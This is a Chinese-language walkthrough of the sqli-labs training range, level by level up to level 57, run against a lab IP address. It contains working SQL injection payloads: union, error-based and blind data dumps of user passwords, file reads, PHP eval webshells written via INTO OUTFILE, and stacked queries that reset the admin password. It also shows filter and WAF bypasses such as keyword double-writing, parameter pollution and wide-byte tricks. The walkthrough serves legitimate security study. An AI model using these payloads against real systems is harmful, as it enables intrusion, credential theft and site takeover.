sqli-labs靶场分析
1、level1
单引号测试报错,为单引号闭合,且显示1多了个单引号故而为字符型注入。且未对用户输入进行任何过滤。
且SQL语句错误会输出,可以使用报错注入
order by判断表列数
uoion 联合查询,因为网页只显示第一张表的数据,因此需要union前的语句为假,查出数据为空,把位置让给第二张表显示
判断显示位置
靶union select 1,2,3 中的2和3替换为SQL语句即可查询到任意内容,示例查询库名和用户名
查询数据库中的表,下面查询的是当前数据库
http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+
如果要查询其他数据库把上面最后的database()换成相应的库名即可,示例:····table_schema=information_schema
查询表中字段
http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+
查字段内容
http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,group_concat(username)%20from%20users--+
http://192.168.110.129/sqli-labs/Less-1/?id=-1%27union%20select%201,2,concat(username,%27:%27,password)%20from%20users--+
SQL注入写入webshell,getshell
http://192.168.110.129/sqli-labs/Less-1/?id=-1%27%20union%20select%201,2,%27%3C?php%20@eval($_REQUEST[777]);?%3E%27%20into%20outfile%20%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%20--+
写文件前需要判断是否有写权限以及绝对路径
and (select count(*) from mysql.user)>0 /如果结果返回正常,说明具有读写权限./
and (select count() from mysql.user)>0 / 返回错误,应该是管理员给数据库账户降权了*/
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
SQL读文件,示例读mysql配置文件
http://192.168.110.129/sqli-labs/Less-1/?id=-1%27%20union%20select%201,2,load_file(%22C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini%22)%20--+
也可以使用报错注入、布尔盲注、延时注入
Payload: id=1' AND 6510=6510 AND 'svdH'='svdH
Payload: id=1' AND (SELECT 6607 FROM (SELECT(SLEEP(5)))MIbw) AND 'DBGj'='DBGj
2、level 2
报错显示语句中多了个单引号,1没有当作错误爆出。故而是数字型(整数型)注入。
未对输入的id值进行任何过滤
注入手法以level基本一样,只是id值1不用引号闭合
示例:
http://192.168.110.129/sqli-labs/Less-2/?id=-1%20union%20select%201,2,3%20--+
3、level 3
根据单引号测试报错显示应该为单引号和括号组合的闭合方式,且为字符型
依旧没对输入的id值做任何过滤
注入手法与level 1类似,不过要加上括号闭合
http://192.168.110.129/sqli-labs/Less-3/?id=-1%27)%20union%20select%201,2,database()%20--+
闭合后SQL语句如下:
$sql="SELECT * FROM users WHERE id=('-1') union select 1,2,3 --+') LIMIT 0,1";
4、level 4
单引号测试无反应,双引号测试报错如下。
由报错内容可知为字符型注入,闭合方式为双引号加括号
依旧未对输入id值过滤,仅是加上双引号后再拼接到SQL语句
注入手法与level 1类似,仅闭合方式不一样
http://192.168.110.129/sqli-labs/Less-4/?id=-1%22)%20union%20select%201,2,database()%20--+
5、level 5
由单引号测试结果可知为字符型注入,单引号闭合
依旧没有对输入过滤,但没有对查询结果输出。因此不能使用联合查询。但可是使用报错注入、布尔盲注、延时注入
注入手法与level 1类似,但不能使用联合查询
XPATH报错(5.0版本以下不支持)
使用extractvalue(),中间的select database() 可以换成任意语句
http://192.168.110.129/sqli-labs/Less-5/?id=-1%27and%20extractvalue(1,concat(%27^%27,(select%20database()),%27^%27))%20--+
示例:显示所有表名
http://192.168.110.129/sqli-labs/Less-5/?id=-1%27and%20extractvalue(1,concat(%27^%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),%27^%27))%20--+
使用updatexml(),中间的语句也可以任意
http://192.168.110.129/sqli-labs/Less-5/?id=-1%27%20and%20updatexml(1,concat(%27^%27,(select%20version()),%27^%27),1)%20--+
group by重复键冲突(或者floor()报错)
concat中第一个参数可以是任意SQL语句,如下是查数据库名
http://192.168.110.129/sqli-labs/Less-5/?id=-1%27%20and%20(select%201%20from%20(select%20count(*),concat((select%20database()),floor(rand()*2))%20x%20from%20information_schema.tables%20group%20by%20x)a)%20--+
此处可以使用union写webshell只不过没有回显罢了,以下展示非union 写webshell的方法 。payload如下:
http://192.168.110.129/sqli-labs/Less-5/?id=1%27%20into%20outfile%20%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%20lines%20terminated%20by%200x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e --+
将要写入的一句话转换成16进制
拼接后SQL语句如下:
SELECT * FROM users WHERE id='$id' into outfile 'C:\\phpstudy\\PHPTutorial\\www\\webshell.php' lines terminated by 0x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e --+' LIMIT 0,1
成功写入
6、level 6
单引号测试无果,双引号测试报错。由报错可知为字符型注入,且为双引号闭合
依旧未对输入进行过滤,仅对输入的id加上了双引号再拼接到SQL语句中。且查询结果不显示
注入方法与level 5一致,不过单引号闭合换成双引号闭合。可以使用报错注入、延时注入和布尔盲注。
报错注入获得表名
http://192.168.110.129/sqli-labs/Less-6/?id=1%22%20and%20extractvalue(1,concat(%27^%27,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),%27^%27))%20--+
7、level 7
单引号测试显示语句有错但不显示具体,双引号测试不显示语句有错。,单双引号配合使用也显示语句有错。推测程序是自定义了各种错误,规避了报错注入。
当用1‘))闭合时才正常显示。
分析源代码发现确实如此
只能使用延时注入和布尔盲注。以下演示布尔盲注,延时注入与布尔盲注类似,延时注入要加if判断而已。
获取数据库长度
依次获取数据库名中单个字符,一般转化为ascll码
http://192.168.110.129/sqli-labs/Less-7/?id=1%27))%20and%20ascii(substr(database(),1,1))=1%20--+
参数说明:
Length()函数 返回字符串的长度
Substr()截取字符串,三个参数依次为要截取的字符串、截取位置(第几个)、要截取个数
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
也可以不转换为ascll码
and mid(database(),1,1)=‘d’ # 判断单个字符
and substr(database(),1,1)=‘d’ # 判断单个字符
and ord(substr((select database()),1,1))=98 # 使用ascii码判断单个字符
and ascii(substr((select database()),1,1))=98 # 使用ascii判断单个字符
and left(database(),4)=‘dvwa’ # 判断一个字符串,即多个字符
这类注入一般都使用工具使用sqlmap或者是Burp。也可以自己写脚本。
使用burp得到数据库名的ascii码值,对照ascii表得到数据库名:security
由于windows系统对大小写不敏感,所以不转ascii码无法正确判断数据库名的大小写问题
获得数据库第一个表的长度,得到长度等于6
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0
参数说明:limit后面的0表顺序第1位,1表个数,1个结果
依次获得表名,,也可以转换为ascii码
and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'
第一个:emails
第四个(修改limit 3,1):表长5,表名:users
获得字段名
and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))=60
写文件方法就任意了
提示有错但webshell已经写进去了
http://192.168.110.129/sqli-labs/Less-7/?id=1%27))%20into%20outfile%20%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%20lines%20terminated%20by%200x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e%20--+
拼接后SQL注入语句如下:
SELECT * FROM users WHERE id=(('$id')) into outfile 'C:\\phpstudy\\PHPTutorial\\www\\webshell.php' lines terminated by 0x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e --+')) LIMIT 0,1
8、level 8
单引号测试,页面不正常无输出。输入双引号页面正常与输入id值1页面一致。推测为单引号闭合方式。
依旧没有对输入进行任何过滤且查询结果和sql错误都不显示。
注入手法可以使用布尔盲注和延时注入,与level 7类似。不过这里正确是页面显示You are in… ,错误则页面不显示
http://192.168.110.129/sqli-labs/Less-8/?id=1%27%20and%20if((length(database())=8),sleep(5),1)--+
参数说明:
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
对比布尔盲注,延时注入的判别标准是观察响应是否延时。注入方法与布尔盲注非常相似。
获取第一个表名:emails
http://192.168.110.129/sqli-labs/Less-8/?id=1%27%20and%20if((substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1)=%27e%27),sleep(5),1)%20--+
9、level 9
直接使用单双引号括号等测试,页面无变化。在测试符号后面添加and sleep(5) --+,如果成功闭合前面的语句,则会执行sleep(5),利用延时注入的原理判断闭合方式。
可以看出单引号成功闭合
查看源代码发现对于输入的id值没有任何过滤,闭合方式为单引号,查询结果不显示,SQL语句错误与否页面显示内容不变
因为页面显示无差异,且查询结果和报错不显示在页面,因此只能使用延时注入。注入方法与level 8 延时注入一致
判断字符串长度
http://192.168.110.129/sqli-labs/Less-9/?id=1%27%20and%20if(length(database())=8,sleep(5),1)%20--+
10、level 10
测试情况与level 9类似,测得闭合方式为双引号
源代码与level 9差不多,就单单闭合方式不一样。
查询结果和报错都显示,页面无差异化。只能使用延时注入
查询数据库长度
注入过程参照level 7 和level 8
11、level 11
页面是一个登录框,对uname和passwd参数进行单引号测试引起报错。由报错内容可知为单引号闭合
查看源代码,发现未对输入的umane和passwd参数进行过滤,且如果输入正确(登陆成功)会将查询结果输出到页面,两个参数都可以注入。
可以使用联合查询、延时注入、布尔盲注和延时注入。联合查询注入过程可以参照level 1
order by查询表列数
Dumb ' order by 2 #
Dumb
得到列为2
判断显示位置
' union select 1,2 #
Dumb
查询数据库名
' union select 1,database() #
Dumb
查数据库表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
Dumb
写webshell
' union select 1, '<?php%20@eval($_REQUEST[777]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\www\\webshell.php' #
Dumb
成功写入
读文件:读取mysql配置文件
' union select 1,load_file('C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini') #
Dumb
其他注入手法
报错注入payload
Dumb ' and extractvalue(1,concat('^',(select database()),'^')) #
Dumb
延时注入payload
Dumb ' and if((length(database())=8),sleep(5),1) #
Dumb
布尔盲注payload
Dumb ' and length(database())=8 #
Dumb
注意:布尔盲注如果and后面语句成立的话会直接登录。这就是万能密码的原理
12、level 12
双引号括号测试报错,由报错可知为双引号括号闭合
源代码与level 11类似,除了闭合方式不一样
注入手法也与level 11,差不多联合查询、报错注入、延时注入和布尔盲注都可,但要注意闭合方式
查询数据库名
") union select 1,database() #
Dumb
13、level 13
单引号测试报错,由报错结果可知为单引号加括号的闭合方式
源代码与level 11 类似,除了闭合方式不一样外,用户名和密码正确登录后不会显示查询结果。所以这里不能使用联合查询的方式注入。可以使用报错注入、延时注入和布尔盲注
使用报错注入获取所有表名
Dumb ') and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #
Dumb
报错注入具体过程可以参照level 5
14、level 14
双引号测试报错,由报错提示可知为双引号闭合方式
源代与level 13差不多,除了闭合方式外。成功登录后不显示查询结果因此也不能使用联合查询。
可以使用报错注入、延时注入和布尔盲注。可以参照level 11
报错注入获取所有表名
Dumb " and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #
Dumb
15、level 15
测试情况与level 9类似,同样不输出报错。在测试符号后面加上and sleep(5) #。测得闭合方式为单引号
Dumb ' and sleep(5) #
Dumb
源代码注释掉了打印sql错误的语句,且登录后也不显示查询结果。所以只能使用延时注入和布尔盲注,具体参照level 7和level 9
延时注入判断数据库名长度为8
Dumb ' and if((length(database())=8),sleep(5),1) #
Dumb
布尔盲注判断数据库名长度,成功登录,长度为8
Dumb ' and length(database())=8 #
Dumb
16、level 16
测试同样不显示报错,可以像level 15一样使用sleep。其实还可以使用加上and 1=1 # ,如果猜对了闭合方式就可以登录,level 15也是。
测试得到闭合方式为双引号括号
Dumb ") and 1=1 #
Dumb
源代码除了采用双引号括号的闭合方式外,与level 15一致。只能使用布尔盲注和延时注入获得数据。
具体注入参照level 15
17、level 17
单引号测试发现,uname参数好像无法注入,一旦加上测试语句会返回一条嘲讽的的话“bug of you silly dumb hacker”即“你这个愚蠢愚蠢的黑客”。但passwd可以,单引号测试报错。由报错结果可知为单引号闭合。
查看源码发现,对输入的uname参数值传入了check_input 函数
这个函数截取输入值的前15位,并转义特殊符号或强制转化为整数类型。
passwd参数没有传入检查函数,程序会将sql错误输出到页面,可以使用报错注入
爆错注入获取表名
Dumb
Dumb ' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) #
18、level 18
对用户名和密码测试后没有什么发现,看到页面显示you ip address is:192.168.110.1 。猜测注入点可能在http请求头那个位置。
当用户名和密码输入正确后,页面会显示UA信息
大概率注入点就在UA处了,在User-Agent参数处测得存在注入,闭合方式为单引号。
查看源码,uname和passwd都传入了检查函数。
ua和ip的值是直接获取
而且需要用户名和密码正确才会进入到UA参数所在的SQL语句中。
这里可以使用报错注入
1',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#
19、level 19
与level 18类似,登录后页面多显示了Referer信息,注入点应该是它了
测得闭合方式为单引号
对于Referer依旧未做任何过滤
可以使用报错注入
1',extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#
20、level 20
登录后可以看出,这里的注入应该与cookie有关
抓包测试,测得为单引号闭合方式
对于uname和paswd参数依旧是传入检查函数,除cookie外在无任何参数插入到了SQL语句中去。
对于cookie程序没有做任何过滤
可以使用报错注入
'and updatexml (1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1)#
此外利用cookie查询到的结果,会显示在页面上。用户名密码等
从源码中可看出,如果通过cookie查到了该用户的信息。会显示name、passwd、id三个结果。这里可以猜测查询结果的表有三列,因为查询结果会显示所以可以使用联合查询
测试一下有几列:-Dumb ’ order by 4 --+
4时报错,改为3就不报错了。确实是三列。那刚好三个位置都会显示,所以就不用测显示位置了:-Dumb ’ union select 1,database(),@@datadir --+
除了报错注入和联合查询外,还可以使用布尔盲注和延时注入
Dumb ' and length(database())=8 --+
Dumb ' and if(length(database())=8,sleep(5),1) --+
21、level 21
这里与level 20 一样都是cookie的位置存在SQL注入,但这里的cookie值是经过base64加密的。因此测试时要将payload编码处理。
考虑到兼容性的问题php程序对测试语句编码。这里单引号测试为单引号加括号的闭合方式。
源程序对cookie为做过滤,但先base64解码后再拼接到SQL语句中。语句报错会输出到页面,可以使用报错注入。
语句报错会输出到页面,可以使用报错注入。
查询用户表中的用户,显示不全。payload需base64编码
admin') and updatexml (1,concat(0x5c,(select group_concat(username) from users),0x5c),1) --+
与level 20一样联合查询、布尔盲注和延时注入也是可以的,注意要把payload编码。
22、level 22
与level 1一样注入点在cookie位置上,且使用了base64编码。测得为双引号闭合方式
与leve1 21相比仅闭合方式不一样,源代码其他地方都差不多。
可以使用报错注入、联合查询、布尔盲注和延时注入。注意需要对payload进行编码。
联合查询注入得到用户名
1 " union select 1,(select group_concat(username) from users),group_concat(password) from users --+
23、level 23
使用单引号测试,页面报错。由报错可以看出确实是单引号闭合。
尝试使用 --、#注释掉插入sql语句后面的语句,发现不起作用。应该是程序过滤了注释符。使用and ‘1’='1 代替注释符,闭合掉后面的语句。
查看源代码发现,除了过滤了id值的’–‘、’#'。代码与level 1一样。所以二者的注入手法也一致,唯一不同的是不能用注释符注释掉后面的语句。
注入我们可以使用联合查询、报错注入、布尔盲注和延时注入。
注意:这里用不了order by。只能select 一个个试。4不行,3刚好可以:union select 1,2,3 and ‘1’='1
这里的3,2,1只有2是可以显示在页面上的。下面的1表示后面等式是否成立。
报错注入,可以使用两个and
http://192.168.110.129/sqli-labs/Less-23/?id=3%27%20and%20extractvalue(1,concat(%27^%27,(select%20@@datadir),%27^%27))%20and%20%271%27=%271
24、level 24
一个登录页面,一个新用户注册页面,猜测应该是二次注入。引号测试。首先尝试注册admin ’ 用户,登录后修改密码,发现无法修改(不跳转到修改成功页面,一直卡着)。再注册admin ‘’ ,登录后成功修改密码。猜测为单引号闭合方式的用户名二次注入。
注册一个admin ’ # 的用户,的登录后修改密码。修改为111
尝试登录admin,使用密码 111
成功登录。
查看源码,发现登录页面和注册页面都对账号和密码进行了转义。
mysql_real_escape_string函数
注册页面:
登录页面:
修改密码页面是直接获取到当前用户名未做任何过滤直接插如到SQL语句中
被污染的数据admin ’ # 从数据库中取出后直接传入sql语句中,导致where 后面password条件语句被注释掉。使得修改了admin用户的密码。
25、level 25
单引号测试,页面报错,有错误提示可知为单引号闭合。
根据页面提示以及测试发现这里过滤了 and 和 or
尝试双写看能不能绕过 :oorr、anandd、aandnd、oorrder by
联合查询户名和数据库绝对路径。其他注入手法也可以,但要注意双写关键字
?id=-1%27%20union%20select%201,(select%20group_concat(username)%20from%20users),@@datadir%20--+
源码将关键字 and 和 or 置换为空,也就是过滤掉了
可以看到将id值传入了blacklist 函数,preg_replace 将or和and置换为空。
注意:关键字被过滤除了双写还可以使用符号例如:||和&&代表and和or。还可以大小写混写,示例:AnD、UNion
26、level 25a
单双引号测试报错,但不显示错误位置,不太好判断。有经验的可能能猜到是数字型注入
和level 25差不多,但这里的id值是数字型的,不需要单引号包裹。注入的时候得注意
依旧是过滤了and和or关键字,所以得双写绕过。注入参考level 25
27、level 26
测试结果为单引号闭合
测试发现过滤了关键字and、or和注释符–、# 以及空格
查看源码发现还过滤了一些其他符号,其中\s表示任何空白字符(比如换行符、制表符等等)
and和or 可以双写绕过也可以使用&&和||替换,注释符可以使用:and ‘1’='1 代替。常见的替代空格的字符有:/**/ () + ` \t
绕过方法如下:
- 编码绕过:- %09 TAB键(空格)- %0A 新建一行(空格)- %0C 新的一页- %0D return即回车功能 (php-5.2.17,5.3.29成功)- %0B TAB键(垂直)- %A0 空格 (php-5.2.17成功)注意:编码绕过空格过滤得看具体环境
- 括号绕过:用()绕过,意思就是不使用任何空格
示例:报错注入
使用括号代替空格,逻辑符号代替and关键字:
id=1'&&extractvalue(null,concat(0x7e,(select(group_concat(username,'~',password))from(security.users)),0x7e))||'1
逻辑符号需要url编码
id=1%27%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,%27~%27,password))from(security.users)),0x7e))%7c%7c%271
单引号闭合达到注释效果
id=1%27anandd(extractvalue(null,concat(0x7e,(select(group_concat(username,%27~%27,passwoorrd))from(security.users)),0x7e)))anandd%271%27=%271
分号配合%00达到注释效果:
布尔和延时:
?id=1%27anandd(1=1);%00
28、level 26a
利用;%00当作注释符,发现单引号测试报错,双引号测试和单引号括号测试都不报错。不是很好判断
查看源代码发现为单引号加括号的闭合方式,页面不显示报错不能用报错注入
和level 26一样过滤了and、or、注释和空格。
示例布尔盲注(延时注入和这差不多)
id=1%27)anandd(length(database())=8);%00
29、level 27
单引号测试,页面报错。由报错提示可知为单引号闭合方式
测试发现过滤了union、select关键字,过滤了注释和空格。
这里可以采用双写或者大小写混写关键字绕过。联合查询、报错注入、布尔盲注、延时注入都可以。这里还可以使用%0a代替空格
联合查询:
id=222%27%0aUNion%0aSElecT%0a1,database(),user();%00
报错注入:
id=2%27and(extractvalue(null,concat(0x7e,(sEleCT(group_concat(username,%27~%27,password))from(security.users)),0x7e)));%00
布尔或延时:
id=1'%0aand%0a1=1%0aand'1'='1
注意:对了这里除%0a可以当空格外,其他url编码应该也是可以的。测试%0A可以当括号
30、level 27a
单引号测试不报错,双引号测试报错。应该是双引号闭合。
过滤情况与level 27一致
注入情况和level 27差不多,不过这里是双引号闭合,而且报错注入不能用了,这里不输出报错信息。
示例:联合查询数据并写webshell
id=222"%0aununionion%0aSelEcT%0a@@datadir,user(),0x3c3f706870206576616c28245f4745545b27636d64275d293b203f3e%0ainto%0aoutfile%0a%27C:\\phpstudy\\PHPTutorial\\www\\webshell.php%27%0a;%00
页面虽然报错,但文件还是写进去了。连带查询结果也写进去了
一个忠告:写文件时文件内容转换为16进制能够避免很多麻烦
示例:联合查询读文件
id=222"%0aununionion%0aSelEcT%0a1,2,load_file("C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini");%00
31、level 28
与level 27和27a差不多,不过这里是单引号括号闭合方式,不是很好判断。
报错注入用不了,代码注释了错误输出。而且要注意,这里过滤的是:union select组合,实测直接大写小混写不行。所以这里要双写这个组合:
示例:unionunion%0aselect%0aselect
id=222%27)%0aunionunion%0aselect%0aselect%0a1,database(),3;%00
其他注入可以参照27和27a,类似
32、level 28a
闭合方式不太好判断,测试情况和level 28一样。那应该是单引号括号闭合。
依旧是过滤 union select 组合,但空格和注释好像没被过滤。
查看源码,确实只过滤了union select组合。双写这个组合绕过。
这里代码和28差不多,而且过滤更不严格。
id=-1') unionunion select select 1,database(),3 --+
33、level 29
这里是 基于WAF的一个错误引起的SQL注入,源代码level 29文件夹里有三个php文件,默认访问这个文件夹的index.php但这个文件是没有接入“WAF”的。应该指定访问login.php。
单引号测试被WAF拦截直接跳转到hacked.php页面。
源代码对id的值进行了校验必须是数字
- foreach循环
第一方式
foreache($qs_array as $val)
这里的
$qs_array
就是需要遍历的数组名,每次循环时,
$qs_array
数组的当前元素的值被赋值给$val,并且数组的会逐次向后移动一步,即下次循环得到另一个元素;
第二方式
foreache($qs_array as $key => $val)
第二种和第一种不同的是多了一个key,key代表键值也是下标(比如:name[0]='张三’中的[0]就是下标值),在这样的循环下,不仅要将当前元素赋予
$val
,也要把当前的键职赋值给
$key
来看看第二种格式,第二种格式除了能像第一种格式一样得到数组内元素的值外,还能得到元素的索引值,并保存到$key变量中,如果数组的索引值未经过人工设定,则返回系统默认的设定值。
- WAF运行规则
根据其中代码逻辑,WAF 会检测 id 是否为数字,如果不是一律转向 hacked.php。但是程序 没有考虑当 id 多次赋值的情况,它只对第一次的 id 进行了测试,如果传入多个 id,(如id=1&id=1&id=…)那么后 面的 id 则存在注入漏洞。
- http参数污染HTTP参数污染原理:通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QxxdomZQ-1679104162982)(img/webp.webp)]
- 绕过这里可以使用参数污染绕过,就是传入多个id。(如id=1&id=1&id=…)。第一个 id要符合WAF的放行规则,必须是数字。第一个id的值符合规则,WAF放行。但 $_GET获取的是最后个id参数,并直接传入SQL语句中执行,如果最后一个参数插入注入语句 ,就会绕过WAF造成SQL注入。
示例:(报错、布尔、延时这里都可)
id=1&id=-1%27%20%20union%20%20select%201,2,@@datadir%20--+
34、level 30
这里和29一样,不过这里是双引号闭合。
示例:
id=1&id=-1"%20union%20select%201,2,@@datadir%20--+
35、level 31
这里与level 29、30 一样,闭合方式不一样这里是双引号括号闭合
示例:
id=1&id=-1")%20union%20select%201,2,@@datadir%20--+
36、level 32
使用单引号测试发现,被转义了(即前面加了个反斜杠)。
这里将斜杠、单引号、双引号都转义了
preg_replace是PHP中用来执行正则表达式的匹配以及替换的函数。可以返回一个正则表达式转换后的值。
preg_quote() 以 str 为参数并给其中每个属于正则表达式语法的字符前面加上一个反斜线。如果你需要以动态生成的字符串作为模式去匹配则可以用此函数转义其中可能包含的特殊字符。
并且设置数据库字符集为gbk
因此这里可以使用宽字符注入,示例:%df与反斜杠即%5c按照gbk编码规则可以组成一个汉字”運“,这就相当于消除了单引号前的转义符
需要将浏览器编码设置为gbk,才能看到效果
这里注入可以使用报错、布尔、延时和联合查询
id=-1%df%27%20union%20select%201,2,user()%20--+
注意:level 32~level 37都是转义特殊符号来达到防止SQL注入,考察的是宽字节注入,注入手法都类似,不再过多详述
37、level 33
这里效果与level 32 一致,只不过这里转义字符的函数换成了addslashes。
addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(')、双引号(")、反斜线(\)与NUL(NULL字符)
这里注入可以参考level 32,二者注入效果一致。
38、level 34
这里post提交参数,也是使用addslashes() 函数转义特殊符号。可以参照level 32、33,它们一样的效果。
同样可以使用宽字节绕过,
uname=Dumb%df' union select 1,user() --+&passwd=Dumb&submit=Submit
39、level 35
这里同样是addslashes()函数转义
但是id是一个数字型的变量,不需要单引号闭合。所以这个addslashes()函数转义过滤没有意义。
id=-1%20union%20select%201,2,database()%20--+
40、level 36
这里使用单引号闭合同样被转义,但这里使用的是mysql_real_escape_string 函数。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
使用宽字节绕过即可
id=-1%df%27%20union%20select%201,2,database()%20--+
41、level 37
这里是post传参,和level 34非常像,不同的是使用了同level 36 的mysql_real_escape_string函数转义特殊字符。
同样设置了gbk的编码方式,可以使用宽字节注入
uname=Dumb&passwd=Dumb%df' union select 1,database() --+&submit=Submit
42、level 38
测试的这里为单引号闭合
测试这里除了联合查询、布尔盲注、延时注入、报错注入外,还可以使用堆叠注入。
堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法。
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
示例:修改admin密码
原密码
堆叠查询修改
id=8%27;update%20users%20set%20password="duidie"%20where%20username="admin";%20--+
后端执行的SQL语句
$sql="SELECT * FROM users WHERE id='1';update users set password="duidie" where username="admin" ;--+' LIMIT 0,1";
成功修改
注意:从level 38到45都是主要考察堆叠注入,38到41是差不多的类型,42到45时登录场景的堆叠注入
43、level 39
经测试这里为数字型注入
与level 38一样,这里同样使用了mysqli_multi_query函数,允许多个SQL语句一起执行
可以使用堆叠注入(其他注入手法也是可以的)
id=8;update%20users%20set%20password="leve139"%20where%20username="admin";%20--+
成功修改
44、level 40
这里关闭了报错,根据前面的经验来看这里应该是使用了单引号括号闭合
熟悉的mysqli_multi_query函数,这里依旧可以使用堆叠注入,除闭合方式不同、40关闭了报错回显外,同level 38、39一样
id=8%27);update%20users%20set%20password="level40"%20where%20username="admin";%20--+
成功修改
45、level 41
这里可以看做是关闭了报错回显的level 39。数字型注入
同样使用了mysqli_multi_query函数,可以使用堆叠查询(堆叠注入)
46、level 42
这里是模拟可以使用堆叠注入来修改密码达到登录管理员账户等目的一类场景。
源代码对username参数进行了过滤,但password参数没有,可以注入。
登录页面由于使用mysqli_multi_query函数,可以使用堆叠注入
可以先使用其他注入手法获得数据库信息,使用堆叠注入在修改密码
示例:用报错注入获得数据库名
改密码
login_password=41';update%20users%20set%20password="level42"%20where%20username="admin";--+&login_user=admin&mysubmit=Login
虽然密码跳转到错误页面但密码确实改了
成功登录
47、level 43
与level 42 略有不同这里需要单引号括号闭合
同样密码参数未过滤,且可以堆叠注入
改密码
login_password=43');update%20users%20set%20password="level43"%20where%20username="admin";--+&login_user=admin&mysubmit=Login
48、level 44
源代码与level 42相比,这里关闭了报错显示。
所以注入的时候的一个一个猜闭合方式。1’ or 1=1 #
正确闭合万能密码生效,登录成功
注入参考level 42
49、level 45
密码参数1’) or 1=1# 测得闭合方式为单引号括号闭合
源代码同level 43关差不多,这里关闭了报错回显
注入参照level 43
50、level 46
测试发现这里为数字型注入
输入sort值1、2、3会有不同的排序表结果。可以进行desc/asc进行排序,应该是order by排序语句。因此不能使用联合查询,页面有报错回显,可以使用报错注入。
?sort=(extractvalue(1,concat(0x7e,(select%20database()),0x7e)))--+
写入webshell
?sort=1 into outfile "C:\\phpstudy\\PHPTutorial\\www\\webshell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
这里要注意一点,因为要排序。所以会有很多结果,因此会多次写入语句,因此webshell中会有多条写入的phpinfo()
此外这里还可以使用延时注入,但由于结果有很多条的原因。所以延时会比sleep()里设置的要长
这里一共有18条数据,大概延时18秒左右
?sort=1%20and%20sleep(1)
注意:level 46到53源码都是类似的order by排序语句,其中level 50到53还可以堆叠注入
51、level 47
这里测试为字符型注入,单引号闭合方式
源代码除了闭合方式不通过以外与level 46一致
注入参照level 46
52、level 48
这里关闭了报错回显,通过1 and sleep() --+ 测试发现为数字型注入
源代码除了没有报错回显,与level 46一致
注入参考level 46
53、level 49
这里也是关闭了报错回显,根据1‘ and sleep(1) --+发现这里是单引号闭合方式
源代码除了没有打印sql报错,与level 47一致
注入参照level 47
54、level 50
测试发现存在数字型注入
查看源代码发现,与level 46不同的是这里使用了mysqli_multi_query函数执行SQL语句,这个函数可以执行多条以’;'分隔的SQL语句。也就造成了堆叠注入。
这里除了可以使用同level 46一样的报错注入和延时注入外还可以使用堆叠注入
例如:修改admin账号的密码
?sort=1;update%20users%20set%20password="level50"%20where%20username="admin";--+
成功修改
55、level 51
测试这里发现为单引号闭合
源代码与level 50相比多了单引号的闭合
注入参照level 50,但要注意这里有单引号闭合
56、level 52
这里同样关闭了报错,测得此处为数字型注入
源代码与level 50一致,不过这里关闭了报错。可以使用延时注入获得数据
同样这里也可以使用能够堆叠注入,参照level 50
57、level 53
测得此处为单引号闭合的字符型注入
同样使用了mysqli_multi_query函数可以执行多个SQL语句,造成堆叠注入。源代码与level 51一致,但这里关闭了报错
注入参考level 51与level 50
58、level 54
这里关闭了报错回显,通过1‘ and 1=1 --+发现页面正常(也可以直接1’ --+测试)。可知这里为单引号闭合的字符型注入。
这里只有十次机会用联合查询更快(报错关闭了用不了)
列数为三刚好正常
查数据库名,表名
查字段名
查字段内容,大概率是第二个
成功获取
注意:这几关主要是挑战规定次数拿到key,考察SQL注入能力。类型都是前面遇到过的
59、level 55
测试发现此处为括号闭合的字符型注入
列为3
数据库名表名
字段名
查看字段内容
成功获取key
60、level 56
测试为单引号括号的字符型注入
注入过程与level 55一致但要注意闭合方式为单引号括号
61、level 57
单引号测试页面正常,双引号页面不显示内容。但加上注释符后页面正常。此处为双引号闭合方式
注入过程同level 55
62、level 58
